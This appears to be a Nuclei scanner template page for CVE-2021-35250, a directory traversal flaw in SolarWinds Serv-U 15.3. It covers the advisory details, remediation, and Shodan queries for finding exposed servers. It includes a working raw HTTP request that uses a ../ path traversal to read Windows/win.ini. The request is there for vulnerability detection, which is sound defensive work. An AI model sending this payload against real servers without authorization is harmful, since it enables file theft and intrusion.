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SolarWinds Serv-U 15.3 - Directory Traversal

ID: CVE-2021-35250

Severity: high

Author: johnk3r,pdteam

Tags: cve2021,cve,solarwinds,traversal

SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

id: CVE-2021-35250
info:
name: SolarWinds Serv-U 15.3 - Directory Traversal
author: johnk3r,pdteam
severity: high
description: |
SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks.
remediation: Resolved in Serv-U 15.3 Hotfix 1.
reference:
- https://github.com/rissor41/SolarWinds-CVE-2021-35250
- https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-3-HotFix-1?language=en_US
- https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35250
- https://twitter.com/shaybt12/status/1646966578695622662?s=43&t=5HOgSFut7Y75N7CBHEikSg
- https://nvd.nist.gov/vuln/detail/CVE-2021-35250
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-35250
cwe-id: CWE-22
epss-score: 0.05835
epss-percentile: 0.93393
cpe: cpe:2.3:a:solarwinds:serv-u:15.3:-:*:*:*:*:*:*
metadata:
max-request: 1
vendor: solarwinds
product: serv-u
shodan-query:
- product:"Rhinosoft Serv-U httpd"
- product:"rhinosoft serv-u httpd"
tags: cve2021,cve,solarwinds,traversal
http:
- raw:
- |
POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
/?Command=NOOP
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "\\[(font|extension|file)s\\]"
- type: status
status:
- 401
# digest: 4a0a004730450220625ad2919ce13ae348927c0359fba01209e8f84b6c089d2abbf0bae756e0705d022100e5e9a1c4bb851f4082d4c666cad3af3d98adb0628b3300c47e957c8bfc662904:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

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$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-35250.yaml"

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